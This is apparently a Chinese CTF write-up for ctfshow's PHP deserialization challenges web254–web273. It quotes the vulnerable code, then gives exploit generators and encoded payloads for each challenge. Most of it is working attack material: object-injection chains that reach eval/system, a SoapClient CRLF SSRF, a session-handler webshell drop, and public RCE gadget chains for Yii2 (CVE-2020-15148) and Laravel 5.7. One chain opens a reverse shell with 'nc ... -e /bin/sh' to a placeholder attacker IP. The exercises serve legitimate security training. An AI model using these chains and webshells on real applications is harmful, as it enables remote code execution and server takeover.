web254 和反序列化没啥关系,可能只是来了解一下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { if ($this ->username===$u &&$this ->password===$p ){ $this ->isVip=true ; } return $this ->isVip; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = new ctfShowUser (); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
payload:
1 ?username=xxxxxx&password=xxxxxx
web255 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
cookie传入反序列化参数,这里需要注意一个卡了我挺长时间的点就是分号作为cookie中分割符,反序列化中出现的分号要用url转义。
1 2 3 4 5 6 7 8 class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =true ; } $a = new ctfShowUser ();echo str_replace (';' , '%3B' , serialize ($a ));
payload:
1 2 3 4 5 GET: ?username=xxxxxx &password=xxxxxx COOKIE: user=O:11 :"ctfShowUser" :3 :{s:8 :"username" %3 Bs:6 :"xxxxxx" %3 Bs:8 :"password" %3 Bs:6 :"xxxxxx" %3 Bs:5 :"isVip" %3 Bb:1 %3 B}
web256 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; if ($this ->username!==$this ->password){ echo "your flag is " .$flag ; } }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
1 2 3 4 5 6 7 8 class ctfShowUser { public $username ='admin' ; public $password ='xxxxxx' ; public $isVip =true ; } $a = new ctfShowUser ();echo urlencode (serialize ($a ));
payload:
1 2 3 4 ?username=admin &password=xxxxxx COOKIE user=O%3 A11%3 A%22 ctfShowUser%22 %3 A3%3 A%7 Bs%3 A8%3 A%22 username%22 %3 Bs%3 A5%3 A%22 admin%22 %3 Bs%3 A8%3 A%22 password%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A5%3 A%22 isVip%22 %3 Bb%3 A1%3 B%7 D
web257 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =false ; private $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { private $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { private $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); $user ->login ($username ,$password ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =false ; private $class = 'info' ; public function __construct ( ) { $this ->class =new backDoor (); } } class backDoor { private $code = 'system("tac f*");' ; } $a = new ctfShowUser ();$b = new backDoor ();echo "<br>" .urlencode (serialize ($a ));
1 2 3 4 GET: ?username=admin&password=aaa COOKIE: user=O%3 A11%3 A%22 ctfShowUser%22 %3 A4%3 A%7 Bs%3 A21%3 A%22 %00 ctfShowUser%00 username%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A21%3 A%22 %00 ctfShowUser%00 password%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A18%3 A%22 %00 ctfShowUser%00 isVip%22 %3 Bb%3 A0%3 Bs%3 A18%3 A%22 %00 ctfShowUser%00 class %22 %3 BO%3 A8%3 A%22 backDoor%22 %3 A1%3 A%7 Bs%3 A14%3 A%22 %00 backDoor%00 code%22 %3 Bs%3 A17%3 A%22 system%28 %22 tac+f%2 A%22 %29 %3 B%22 %3 B%7 D%7 D
web258 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 error_reporting (0 );highlight_file (__FILE__ );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { public $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { public $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ if (!preg_match ('/[oc]:\d+:/i' , $_COOKIE ['user' ])){ $user = unserialize ($_COOKIE ['user' ]); } $user ->login ($username ,$password ); }
加了个过滤:/[oc]:\d+:/i
过滤出:o/c:数字
可以使用加号过滤:o:+
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public $class = 'info' ; public function __construct ( ) { $this ->class =new backDoor (); } } class backDoor { public $code = "system('tac f*');" ; public function getInfo ( ) { eval ($this ->code); } } $a = new ctfShowUser ();$c = str_replace ("O:" , "O:+" , serialize ($a ));echo "<br>" .$c ;echo "<br>user=" .urlencode ($c );
1 user=O%3 A%2 B11%3 A%22 ctfShowUser%22 %3 A4%3 A%7 Bs%3 A8%3 A%22 username%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A8%3 A%22 password%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A5%3 A%22 isVip%22 %3 Bb%3 A0%3 Bs%3 A5%3 A%22 class %22 %3 BO%3 A%2 B8%3 A%22 backDoor%22 %3 A1%3 A%7 Bs%3 A4%3 A%22 code%22 %3 Bs%3 A17%3 A%22 system%28 %27 tac+f%2 A%27 %29 %3 B%22 %3 B%7 D%7 D
web259 https://y4tacker.blog.csdn.net/article/details/110521104 https://www.cnblogs.com/studyskill/p/6972576.html https://zhuanlan.zhihu.com/p/80918004
SoapCLient+CRLF 这怎么一下子升维了?
1 2 3 4 5 6 7 8 9 10 11 12 13 $xff = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]);array_pop ($xff );$ip = array_pop ($xff );if ($ip !=='127.0.0.1' ){ die ('error' ); }else { $token = $_POST ['token' ]; if ($token =='ctfshow' ){ file_put_contents ('flag.txt' ,$flag ); } }
php中的连接web需要使用soapclient来连接。比较复杂,这里直接借用个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $target = 'http://127.0.0.1/flag.php' ;$post_string = 'token=ctfshow' ;$headers = array ( 'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1' , 'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d' ); $b = new SoapClient (null ,array ('location' => $target ,'user_agent' =>'yn8rt^^Content-Type: application/x-www-form-urlencoded^^' .join ('^^' ,$headers ).'^^Content-Length: ' .(string )strlen ($post_string ).'^^^^' .$post_string ,'uri' => "aaab" ));$aaa = serialize ($b );$aaa = str_replace ('^^' ,"\r\n" ,$aaa );$aaa = str_replace ('&' ,'&' ,$aaa );echo urlencode ($aaa );?> O%3 A10%3 A%22 SoapClient%22 %3 A4%3 A%7 Bs%3 A3%3 A%22 uri%22 %3 Bs%3 A4%3 A%22 aaab%22 %3 Bs%3 A8%3 A%22 location%22 %3 Bs%3 A25%3 A%22 http%3 A%2 F%2 F127.0.0 .1 %2 Fflag.php%22 %3 Bs%3 A11%3 A%22 _user_agent%22 %3 Bs%3 A235%3 A%22 yn8rt%0 D%0 AContent-Type%3 A+application%2 Fx-www-form-urlencoded%0 D%0 AX-Forwarded-For%3 A+127.0 .0.1 %2 C127.0.0 .1 %2 C127.0.0 .1 %2 C127.0.0 .1 %2 C127.0.0 .1 %0 D%0 AUM_distinctid%3 A175648cc09a7ae-050 bc162c95347-32667006 -13 c680-175648 cc09b69d%0 D%0 AContent-Length%3 A+13 %0 D%0 A%0 D%0 Atoken%3 Dctfshow%22 %3 Bs%3 A13%3 A%22 _soap_version%22 %3 Bi%3 A1%3 B%7 D
传参之后访问flag.txt即可 没看懂的建议直接看:https://y4tacker.blog.csdn.net/article/details/110521104
web260 查询出题精神状态,怎么一下子又这么简单。
1 2 3 if (preg_match ('/ctfshow_i_love_36D/' ,serialize ($_GET ['ctfshow' ]))){ echo $flag ; }
1 2 3 4 5 6 7 class ctf { public $c = 'ctfshow_i_love_36D' ; } $a = serialize (new ctf ());echo urlencode ($a );
1 ?ctfshow=O%3 A3%3 A%22 ctf%22 %3 A1%3 A%7 Bs%3 A1%3 A%22 c%22 %3 Bs%3 A18%3 A%22 ctfshow_i_love_36D%22 %3 B%7 D
web261 __unserialize()和wakeup() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 highlight_file (__FILE__ );class ctfshowvip { public $username ; public $password ; public $code ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __wakeup ( ) { if ($this ->username!='' || $this ->password!='' ){ die ('error' ); } } public function __invoke ( ) { eval ($this ->code); } public function __sleep ( ) { $this ->username='' ; $this ->password='' ; } public function __unserialize ($data ) { $this ->username=$data ['username' ]; $this ->password=$data ['password' ]; $this ->code = $this ->username.$this ->password; } public function __destruct ( ) { if ($this ->code==0x36d ){ file_put_contents ($this ->username, $this ->password); } } } unserialize ($_GET ['vip' ]);
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。 其中注意一下几个:
__wakeup()
反序列化之后立刻调用__invoke()
当作方法调用对象__sleep()
反序列化之前运行invoke似乎进不去,这里利用弱比较拼接。0x36d对应的十进制是877. 由于弱比较的原因username传入877.php 再在password中加入shell即可。
1 2 3 4 5 6 7 class ctfshowvip { public $username = "877.php" ; public $password = '<?php eval($_GET[1]);?>' ; public $code ; } echo "\n" .serialize (new ctfshowvip ());
然后访问877.php
然后传入shell:/877.php?1=system('cat /flag_is_here');
web262 经典字符串逃逸-增长版 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 error_reporting (0 );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $f = $_GET ['f' ];$m = $_GET ['m' ];$t = $_GET ['t' ];if (isset ($f ) && isset ($m ) && isset ($t )){ $msg = new message ($f ,$m ,$t ); $umsg = str_replace ('fuck' , 'loveU' , serialize ($msg )); setcookie ('msg' ,base64_encode ($umsg )); echo 'Your message has been sent' ; } highlight_file (__FILE__ );
这里提示了还有一个message.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } if (isset ($_COOKIE ['msg' ])){ $msg = unserialize (base64_decode ($_COOKIE ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } }
那就是要将user转换为admin。那么先查看标准的结果:
1 O:7 :"message" :4 :{s:4 :"from" ;s:1 :"1" ;s:3 :"msg" ;s:1 :"1" ;s:2 :"to" ;s:1 :"1" ;s:5 :"token" ;s:4 :"user" ;}
直接在t末尾修改: 将t修改为以下内容:
1 ";s:5:" token";s:5:" admin";}
一个转换就能多容纳一个位置,那么26个字符需要添加27个fuck。 然后就使用payload:
1 2 3 ?f=1 &m=1 &t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:" token";s:5:" admin";}
然后访问message.php即可获取到flag
web263 https://blog.csdn.net/solitudi/article/details/107750063?ops_request_misc=%7B%22request%5Fid%22%3A%22160775411819724848183660%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fblog.%22%7D&request_id=160775411819724848183660&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_v2~rank_v29-2-107750063.pc_v2_rank_blog_default&utm_term=session&spm=1018.2118.3001.4450 sessionhttps://www.jb51.net/article/116246.htm session
session反序列化 www.zip文件泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php error_reporting (0 );ini_set ('display_errors' , 0 );ini_set ('session.serialize_handler' , 'php' );date_default_timezone_set ("Asia/Shanghai" );session_start ();use \CTFSHOW \CTFSHOW ; require_once 'CTFSHOW.php' ;$db = new CTFSHOW ([ 'database_type' => 'mysql' , 'database_name' => 'web' , 'server' => 'localhost' , 'username' => 'root' , 'password' => 'root' , 'charset' => 'utf8' , 'port' => 3306 , 'prefix' => '' , 'option' => [ PDO::ATTR_CASE => PDO::CASE_NATURAL ] ]); function checkForm ($str ) { if (!isset ($str )){ return true ; }else { return preg_match ("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i" ,$str ); } } class User { public $username ; public $password ; public $status ; function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function setStatus ($s ) { $this ->status=$s ; } function __destruct ( ) { file_put_contents ("log-" .$this ->username, "使用" .$this ->password."登陆" .($this ->status?"成功" :"失败" )."----" .date_create ()->format ('Y-m-d H:i:s' )); } } function uuid ( ) { $chars = md5 (uniqid (mt_rand (), true )); $uuid = substr ( $chars , 0 , 8 ) . '-' . substr ( $chars , 8 , 4 ) . '-' . substr ( $chars , 12 , 4 ) . '-' . substr ( $chars , 16 , 4 ) . '-' . substr ( $chars , 20 , 12 ); return $uuid ; }
inc.php中有file_put_contents函数
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting (0 ); session_start (); if (isset ($_SESSION ['limit' ])){ $_SESSION ['limti' ]>5 ?die ("登陆失败次数超过限制" ):$_SESSION ['limit' ]=base64_decode ($_COOKIE ['limit' ]); $_COOKIE ['limit' ] = base64_encode (base64_decode ($_COOKIE ['limit' ]) +1 ); }else { setcookie ("limit" ,base64_encode ('1' )); $_SESSION ['limit' ]= 1 ; } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );require_once 'inc/inc.php' ;$GET = array ("u" =>$_GET ['u' ],"pass" =>$_GET ['pass' ]);if ($GET ){ $data = $db ->get ('admin' , [ 'id' , 'UserName0' ],[ "AND" =>[ "UserName0[=]" =>$GET ['u' ], "PassWord1[=]" =>$GET ['pass' ] //密码必须为128 位大小写字母+数字+特殊符号,防止爆破 ] ]); if ($data ['id' ]){ $_SESSION ['limit' ]= 0 ; echo json_encode (array ("success" ,"msg" =>"欢迎您" .$data ['UserName0' ])); }else { $_COOKIE ['limit' ] = base64_encode (base64_decode ($_COOKIE ['limit' ])+1 ); echo json_encode (array ("error" ,"msg" =>"登陆失败" )); } }
index.php就是登录页面、check.php进行次数检测。whatweb检测一下php版本是7.3.11 session.serialize_handler( 5.5.4前默认是php;5.5.4后改为php_serialize)存在以下几种:
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值 php 键名+竖线(|)+经过serialize()函数处理过的值 php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化 php处理器而不是php_serialize处理器,所以存在session反序列漏洞. 在 php_serialize 引擎下,session文件中存储的数据为:
1 a:1 :{s:4 :"name" ;s:6 :"spoock" ;}
php 引擎下文件内容为:
exp:
1 2 3 4 5 6 7 8 9 10 <?php class User { public $username ="admin/../../../../../../../../../../var/www/html/1.php" ; public $password ="<?php system('cat flag.php');?>" ; public $status ; } $a = new User ();$c = "|" .serialize ($a );echo urlencode (base64_encode ($c ));
这里说一下操作步骤。
先访问页面,获取到cookie和session。 运行exp,将反序列化字符放入cookie中limit 访问check.php 访问1.php web264 1 2 3 4 5 6 if (isset ($_COOKIE ['msg' ])){ $msg = unserialize (base64_decode ($_SESSION ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } }
和上一个逃逸差别是在访问message.php时需要在cookie中添加msg的参数作为session,值并没有要求。
1 ?f=1 &m=2 &t=3 fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:" token";s:5:" admin";}
然后再message.php传入一个cookie值为msg=1 以上是wp中所说的步骤,但是这里我无论如何执行都是 即使重新写payload也是相同结果。 最后修改好了,是因为我开了两个页面,第一个页面传出的session我没有交给第二个页面message.php
导致不能得到回显,使用一个页面修改就好了。
web265 反序列化指针引用& 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 error_reporting (0 );include ('flag.php' );highlight_file (__FILE__ );class ctfshowAdmin { public $token ; public $password ; public function __construct ($t ,$p ) { $this ->token=$t ; $this ->password = $p ; } public function login ( ) { return $this ->token===$this ->password; } } $ctfshow = unserialize ($_GET ['ctfshow' ]);$ctfshow ->token=md5 (mt_rand ());if ($ctfshow ->login ()){ echo $flag ; }
引用传值 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class abc { public $a = '1' ; public $b = '2' ; } $c = new abc ();$c ->a =&$c ->b;$c ->a = '1' ;$c ->b = md5 (mt_rand ());print_r ($c ->a);?> cc459dba9ce1830f72c80ba14532bbac
exp:
1 2 3 4 5 6 7 8 9 10 11 <?php class ctfshowAdmin { public $token =1 ; public $password =1 ; } $a = new ctfshowAdmin ();$a ->password=&$a ->token;echo serialize ($a );O:12 :"ctfshowAdmin" :2 :{s:5 :"token" ;i:1 ;s:8 :"password" ;R:2 ;}
web266 php对类名大小写不敏感 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 highlight_file (__FILE__ );include ('flag.php' );$cs = file_get_contents ('php://input' );class ctfshow { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function login ( ) { return $this ->username===$this ->password; } public function __toString ( ) { return $this ->username; } public function __destruct ( ) { global $flag ; echo $flag ; } } $ctfshowo =@unserialize ($cs );if (preg_match ('/ctfshow/' , $cs )){ throw new Exception ("Error $ctfshowo " ,1 ); }
出现ctfshow就会抛出异常,就不能触发__destruct方法,因此使用大写就行。
区分大小写的: 变量名、常量名、数组索引(键名key) 不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE 1 2 3 4 5 6 7 <?php class Ctfshow {};$a = new Ctfshow ();echo serialize ($a );?>
这里的的使用方法挺神奇: 在hackbar不知道为什么传不进去post请求体,用bp抓包就行了:
web267 CVE-2020-15148 Yii2反序列化漏洞 后面一堆操作有点没看懂。一查发现是一个漏洞:
https://blog.csdn.net/xuandao_ahfengren/article/details/111259943
admin admin弱口令密码登录,在about页面查看源代码会发现:
但是这里我一点击about就会退出admin状态。可能是某个地方出了问题,不重要。 访问:/index.php?r=site%2Fabout&view-source
提示:
1 2 3 unserialize (base64_decode ($_GET ['code' ]))
直接用网上的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php namespace yii \rest { class IndexAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'exec' ; $this ->id = 'cat /flag >2.txt' ; } } } namespace Faker { use yii \rest \IndexAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['close' ] = [new IndexAction (), 'run' ]; } } } namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader=new Generator (); } } } namespace { use yii \db \BatchQueryResult ; echo base64_encode (serialize (new BatchQueryResult ())); }
payload:
1 ?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjE2OiJjYXQgL2ZsYWcgPjIudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
然后访问根目录下的2.txt即可
web268-269 CVE-2020-15148 Yii2反序列化漏洞 类似但是需要改改poc,因为有过滤:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php namespace yii \rest { class Action { public $checkAccess ; } class IndexAction { public function __construct ($func , $param ) { $this ->checkAccess = $func ; $this ->id = $param ; } } } namespace yii \web { abstract class MultiFieldSession { public $writeCallback ; } class DbSession extends MultiFieldSession { public function __construct ($func , $param ) { $this ->writeCallback = [new \yii\rest\IndexAction ($func , $param ), "run" ]; } } } namespace yii \db { use yii \base \BaseObject ; class BatchQueryResult { private $_dataReader ; public function __construct ($func , $param ) { $this ->_dataReader = new \yii\web\DbSession ($func , $param ); } } } namespace { $exp = new \yii \db \BatchQueryResult ('shell_exec ', 'cp /f * 1.txt '); echo (base64_encode (serialize ($exp ))); }
payload:
1 ?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxMjoiY3AgL2YqIDEudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0=
web270 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php namespace yii \rest { class Action { public $checkAccess ; } class IndexAction { public function __construct ($func , $param ) { $this ->checkAccess = $func ; $this ->id = $param ; } } } namespace yii \web { abstract class MultiFieldSession { public $writeCallback ; } class DbSession extends MultiFieldSession { public function __construct ($func , $param ) { $this ->writeCallback = [new \yii\rest\IndexAction ($func , $param ), "run" ]; } } } namespace yii \db { use yii \base \BaseObject ; class BatchQueryResult { private $_dataReader ; public function __construct ($func , $param ) { $this ->_dataReader = new \yii\web\DbSession ($func , $param ); } } } namespace { $exp = new \yii \db \BatchQueryResult ('shell_exec ', 'nc xxx .xxx .xxx .xxx 4567 -e /bin /sh '); echo (base64_encode (serialize ($exp ))); }
反弹一下即可,攻击机:
web271 https://github.com/laravel/laravel/tree/5.7 laravel5.7
laravel5.7反序列化漏洞 poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php namespace Illuminate \Foundation \Testing { class PendingCommand { public $test ; protected $app ; protected $command ; protected $parameters ; public function __construct ($test , $app , $command , $parameters ) { $this ->test = $test ; $this ->app = $app ; $this ->command = $command ; $this ->parameters = $parameters ; } } } namespace Faker { class DefaultGenerator { protected $default ; public function __construct ($default = null ) { $this ->default = $default ; } } } namespace Illuminate \Foundation { class Application { protected $instances = []; public function __construct ($instances = [] ) { $this ->instances['Illuminate\Contracts\Console\Kernel' ] = $instances ; } } } namespace { $defaultgenerator = new Faker \DefaultGenerator (array ("hello " => "world ")); $app = new Illuminate\Foundation\Application (); $application = new Illuminate\Foundation\Application ($app ); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand ($defaultgenerator , $application , 'system' , array ('cat /flag' )); echo urlencode (serialize ($pendingcommand )); }
post data中传入参数即可
web272、web273 poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <?php namespace Illuminate \Broadcasting { class PendingBroadcast { protected $events ; protected $event ; public function __construct ($events ,$event ) { $this ->events = $events ; $this ->event = $event ; } } } namespace Illuminate \Bus { class Dispatcher { protected $queueResolver ; public function __construct ($queueResolver ) { $this ->queueResolver = $queueResolver ; } } } namespace Mockery \Loader { class EvalLoader { } } namespace Mockery \Generator { class MockDefinition { protected $config ; protected $code ; public function __construct ($config ,$code ) { $this ->config = $config ; $this ->code = $code ; } } class MockConfiguration { protected $name ; public function __construct ($name ) { $this ->name = $name ; } } } namespace Illuminate \Queue { class CallQueuedClosure { public $connection ; public function __construct ($connection ) { $this ->connection = $connection ; } } } namespace { if ($argc <2){ echo "Description :\n \tUse laravel deserialization to eval php code ,don 't need to input php tags ."; echo "\nUsage:" .$argv [0 ] . " <code>" ; exit (); } $code = $argv [1 ]; $mockconfiguration = new Mockery\Generator\MockConfiguration ("pass" ); $mockdefination = new Mockery\Generator\MockDefinition ($mockconfiguration ,"<?php " .$code ." exit;?>" ); $callqueuedclosure = new Illuminate\Queue\CallQueuedClosure ($mockdefination ); $evaload = new Mockery\Loader\EvalLoader (); $dispatcher = new Illuminate\Bus\Dispatcher (array ($evaload ,"load" )); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast ($dispatcher ,$callqueuedclosure ); echo urlencode (serialize ($pendingbroadcast )); }
或者:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 <?php namespace Illuminate \Broadcasting { use Illuminate \Bus \Dispatcher ; use Illuminate \Foundation \Console \QueuedCommand ; class PendingBroadcast { protected $events ; protected $event ; public function __construct ( ) { $this ->events=new Dispatcher (); $this ->event=new QueuedCommand (); } } } namespace Illuminate \Foundation \Console { use Mockery \Generator \MockDefinition ; class QueuedCommand { public $connection ; public function __construct ( ) { $this ->connection=new MockDefinition (); } } } namespace Illuminate \Bus { use Mockery \Loader \EvalLoader ; class Dispatcher { protected $queueResolver ; public function __construct ( ) { $this ->queueResolver=[new EvalLoader (),'load' ]; } } } namespace Mockery \Loader { class EvalLoader { } } namespace Mockery \Generator { class MockDefinition { protected $config ; protected $code ; public function __construct ( ) { $this ->code="<?php system('cat /f*');exit()?>" ; $this ->config=new MockConfiguration (); } } class MockConfiguration { protected $name ="feng" ; } } namespace { use Illuminate \Broadcasting \PendingBroadcast ; echo urlencode (serialize (new PendingBroadcast ())); }
payload:
